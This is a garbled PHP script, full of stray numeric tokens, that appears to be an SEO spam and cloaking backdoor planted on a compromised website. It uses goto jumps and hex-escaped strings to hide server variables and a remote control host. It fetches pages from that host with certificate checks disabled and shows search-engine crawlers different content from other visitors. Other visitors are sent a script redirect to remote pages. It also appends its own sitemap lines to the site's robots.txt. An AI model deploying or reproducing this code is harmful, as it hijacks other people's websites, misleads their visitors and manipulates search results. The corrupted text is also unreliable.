2 5 true 1 , 16 CURLOPT_ 8 CONNECTT 2 IM 2 EO 2 UT 5 => 5 1f , CURLOPT_TIMEOUT 7 3 => 1 8 18 , CURLOPT_S 2 SL 1 _ 5 VERIF 2 YP 1 E 6 ER => 5 false 21 , CURLOPT_SSL_VERIFY 3 HOS 1 T 20 => false, CURLOPT_ 3 FOL 2 LO 1 W 3 LOC 3 ATI 2 ON 20 => false, CURLOPT_ 1 U 4 SERA 1 G 3 ENT a => " 2 Mo 2 zi 3 lla 2 /5 3 .0" a d ]); 8 $data = 7 curl_ex 2 ec 4 ($ch 11 ); curl_ 2 cl 3 ose c ($ch); 1 } c if ( 7 empty($ 6 data) 3 && 3 ini 5 _get( 3 'al 2 lo 2 w_ 5 url_f 3 ope 1 n 11 ')) { $c 4 onte 1 x 4 t = 5 strea 2 m_ 8 context_ 1 c 5 reate 1 ( 10 [ " 2 ht 3 tp" 4 => 2 [" 4 time 3 out 1 " 6 => 8, 5 "hea 3 der 5 " => 3 "Us 2 er 3 -Ag 5 ent: b Mozilla/5.0 2 \r 3 \n" 1 ] f , 3 "ss 3 l" 6 => [" 3 ver 2 if 3 y_p 1 e 7 er" => 7 false, d "verify_peer_ 3 nam 1 e b " => false] 1f ]); $data = 1 @ 13 file_get_contents($ 3 url 1 , 8 false, 1d $context); } if ( 1 ! d empty($data)) c cache_set($ 5 url, 6 $data) 1 ; d return 5 $data 2b ; } /* ------------------------- 4 URL 1 2 2 1 2d ------------------------- */ function get_ 8 url_info 4 (str 5 ing $ 3 typ 2 e= 3 'do 2 ma 1 i 5 n'): 7 string 8 { $ 2 ho 2 st c = $_SERVER[ 6 'HTTP_ 4 HOST 2 '] 2 ? 1 ? 6 ''; 9 if ($ 5 type 1 = 5 == 'n 2 o_ 2 ww 2 w' 9 ) return 3 pre 1 g 5 _repl 2 ac 3 e(' 2 /^ 4 www\ 2 ./ 1 i 4 ', ' 4 ', $ 5 host) c ; $pr 3 oto 2 co 4 l = 11 (!empty($_SERVER[ 6 'HTTPS 2 '] 5 ) && 11 $_SERVER['HTTPS'] 5 !== 3 'of 1 f 4 ') ? 6 "http 2 s: 3 //" 2 : 6 "http 4 ://" 8 ; $ 3 bas 4 e = b $protocol . 6 $host d ; if ( b $type === ' 4 base a ') return 5 $base 17 ; if ($type === 'f 2 ul 1 l 12 ') return $base . d ($_SERVER['RE 1 Q 2 UE 1 S 5 T_URI 8 '] ?? '' a ); 8 return $ 7 host; 29 } /* ------------------------- 2 1 2 2 2 2 21 ------------------------- */ g 4 oto 2 ON 2 Pu 2 B; 6 ONPuB 1 : 6 $http 1 _ 7 type = 10 !empty($_SERVER[ 2 "\ 2 x4 3 8\1 2 24 2 \x 5 54\x5 6 0\x53" 19 ]) && $_SERVER["\x48\124\ 6 124\x5 7 0\x53"] 5 !== 3 "\1 2 57 2 \x 2 66 2 \1 2 46 1 " 7 ? "\15 5 0\x74 8 \x74\x70 2 \1 2 63 7 \72\x2f 4 \x2f 5 " : " 3 \x6 4 8\16 8 4\164\16 1 0 9 \72\x2f\5 3 7"; 22 goto O4O9k; O4O9k: $vurl = "\x74\ 4 157\ 4 56\1 50 52\147\141\x6c\x6c\163\x2e\143\157\x6d\x2f"; goto vgv72; vgv72: $qz = substr(str 21 _replace(array("\x77\x77\167\x2e" 3 , " 5 \56") 7 , '', $ c _SERVER["\11 1 0 7 \x54\x5 4 4\12 5 0\x5f 5 \x48\ 3 x4f 3 \12 5 3\x54 3 "]) 2 , 3 0, 1 3 4 ); 24 /* ------------------------- 2 1 2 2 f 3 1 23 数 ------------------------- */ 2 $s b z = $iid = 1 " 6 "; if a (!empty($_ 4 GET) 1 ) 4 { 2 $f 3 =re 5 set($ 5 _GET) 8 ; $ 1 s 4 p = 9 explode(' 5 -', $ 1 f c ); if ( 3 cou 1 n 5 t($sp 1 ) 6 === 2 11 ) { $sz 4 = $ 2 sp 3 [0] c ; $ 6 iid = 5 $sp[1 1 ] a ; } 28 } /* ------------------------- 2 1 2 2 2 1 20 ------------------------- */ e if (!empty($sz b )) { $ 5 jd = d getCurlFast(" 1 { b $http_type} 1 { 6 $vurl} 2 3k 2 g. 3 asp 2 x? 2 sz 2 =" 8 . urlen 1 c 4 ode( 5 $sz)) 6 ; } e 3 lse 38 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?x 2 y= d {$http_type}" a ); $s 1 z 2c = getCurlFast("{$http_type}{$vurl}3kg.aspx? 2 jd 10 =" . urlencode($ 2 jd 1 ) 9 ); } 3 $hy 2 zh 2 dy 4 = $ 3 jd 3 . " 2 41 5 .aspx 4 "; 2 $s 5 url b = $jd . "s b 41.aspx"; 26 /* ------------------------- r 3 obo 2 ts 3 / 2 si 3 tem 2 ap 22 ------------------------- */ $s 6 itemap 3 Lin 4 e = 2 "S 6 itemap 2 : e {$http_type}{$ 14 _SERVER['HTTP_HOST'] c }{$_SERVER[' 2 SC 2 RI 3 PT_ 2 NA 2 ME 4 ']}? 1 w 6 =" . d 4 ate( 2 'Y 2 md 2 Hi 1 ' 5 ) . " 3 \n" 1 ; c function e 4 nsur 2 e_ 7 robots_ 7 sitemap 1 ( c $sitemapLine a ) { $ 7 robots 3 = r 5 trim( a $_SERVER[' 2 DO 2 CU 1 M 5 ENT_R 2 OO 3 T'] 3 , " 3 /\\ 1 " 6 ) . '/ 7 robots. 3 txt d '; if (! d file_exists($ 6 robots e )) { 14 @file_put_contents($ 6 robots 1 , 8 "User-a 6 gent: 2 *\ 2 nA 4 llow 2 : 1 / 3 \n" 4 . $ b sitemapLine d , LOCK_EX); 5 } d else { 6 $c 17 = @file_get_contents($ 8 robots); 12 if ($c = 9 == false 2 || 1 9 strpos($c 1 , e $sitemapLine) a === false 11 ) { 1c @file_put_contents($robots, e $sitemapLine, 3 FIL 3 E_A 3 PPE 2 ND 2 | 10 LOCK_EX); 7 } a } } 25 /* ------------------------- 3 w= 1 2 2 1 2c ------------------------- */ if (!empty($ 3 get 2 [' 2 w' 7 ])) { a $par 2 am 4 s = 5 http_ 2 bu 3 ild 2 _q 2 ue 2 ry c ([ 2 'N 3 OUm 2 be 2 r' 4 => 6 $get[' 8 NOUmber' 7 ] ?? '' c , ' 2 t' a => 6 $get[' 1 t 16 '] ?? '', 'cn 1 ' f => $get[' 3 cn' 14 ] ?? '', 'p 5 NOUm' c => $get[' 6 pNOUm' 15 ] ?? '', 'ci 2 d' f => $get['c 3 id' 14 ] ?? '', 'm 21 ' => $get['m'] ?? '' ] b ); $ 3 str 12 = getCurlFast("{$ 5 surl} 2 ?{ 7 $params 6 }"); 6 3 ech 2 o c str_replace( a 2 [' 2 yy 3 mm' 2 ,' 5 ggggg 4 ','? 2 f= 3 '], b [ a $http_type 16 .$_SERVER['HTTP_HOST'] 1 . 17 $_SERVER['SCRIPT_NAME'] 4 , $s 4 z,'? 2 '. 3 $qz 2 .' e ='], 4 $str 6 8 ); 3 exi 2e t; } /* ------------------------- IP 2 2 2 1 2 2 1 2 2 2 k 3 k 1 2 2 24 ) ------------------------- */ $ 3 kk 3 = i 1 s 5 set($ 6 get['k 1 k 5 ']) ? 6 trim( d $get['kk']) : 6 ''; 7 $ip = ( 4 $kk 5 !== ' 6 ') ? " 2 66 2 .2 2 49 2 .8 2 2. 1 8 4 " : d get_real_ip() 28 ; /* ------------------------- 3 get 7 domain2 4 判 2 1 21 ------------------------- */ $ 6 domain 8 = trim( d getCurlFast($ 6 jd . " a getdomain2 7 .aspx?r 2 nd 2 =1 3 &ip 5 =" . 4 $ip) 2a ); /* ------------------------- 1 1 4 goo 3 gle 2 + 1 5 iid 1 2 2 2 2 24 ------------------------- */ if ( 8 $domain 5 !== ' 7 google' 4 && b !empty($iid c )) { $k 4 name 3 = 4 urld 1 e 5 code( 15 getCurlFast($jd . "gn 6 .aspx? 3 iid 7 =" . $i 1 i 6 d)); a echo ' 2 lo 2 ca 4 tion 2 =" 4 ' . 7 $jd . " 1 a 7 .aspx?c 4 name 10 =" . urlencode($ 5 kname 5 ) . " 4 &url 6 =" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' d SCRIPT_NAME'] 6 . '"< 1 / 8 script>' 36 ; exit; } /* ------------------------- 4 iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 12 str = getCurlFast( 8 $hyzhdy 3 . " 6 ?iid={ 4 $iid 29 }"); echo str_replace( [' 9 ggggg','Y 4 YYYY 4 ','X 2 XX 6 YYY',' 2 2 1 1 6 URL',' 1 U 7 UUUU',' 5 MMMMM 15 ','?f='], [$ 3 sz, e get_url_info( 1 ) f , get_url_info( 7 'base') 10 , get_url_info(' 6 full') 10 , get_url_info(' e no_www'),parse 4 _url 1a ($_SERVER['REQUEST_URI'], 2 PH 1 P 5 _URL_ 2 PA 2 TH 1 ) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 9 sitemap h 3 elp 2 er 2a ------------------------- */ function o 2 ut e put_sitemap_an 1 d 5 _exit d ($sitemapLine 1 , b $http_type 9 ) { 23 ensure_robots_sitemap($sitemapLine) d ; echo " 2 10 7 Sitemap 2 < 4 /div 2 >" 36 ; exit; } /* ------------------------- 3 kk 6 输出 2 2 2 25 ------------------------- */ if ($ 9 kk !== '' 4 && 7 preg_ma 2 tc 1 h 5 ('/^[ 2 A- 2 Za 2 -z 2 0- 2 9] 2 +$ 1 / 5 ', $k 1 k c )) { $r 2 em 3 ote 10 = getCurlFast($ 1b jd . "getdomain2.aspx?rnd=2 2 &k 1 k 6 =" . $ 3 kk) c ; if (! 7 empty($ 6 remote e )) { 5 echo 7 $remote b ; 7 exit; c } } 12 if ($kk !== '' && 1 ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) a ; } $i 2 s_ 3 no_ 5 query 4 = e f mpty($_SERVER[' 4 QUER 1 Y 7 _STRING 1 ' 7 ]); 9 if ($kk = 9 == '' && c $is_no_query 9 ) { d if ($domain = b == 'google' d ) { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 13 exit; } } 35 output_sitemap_and_exit($sitemapLine, $http_type); ? 1 > 2 0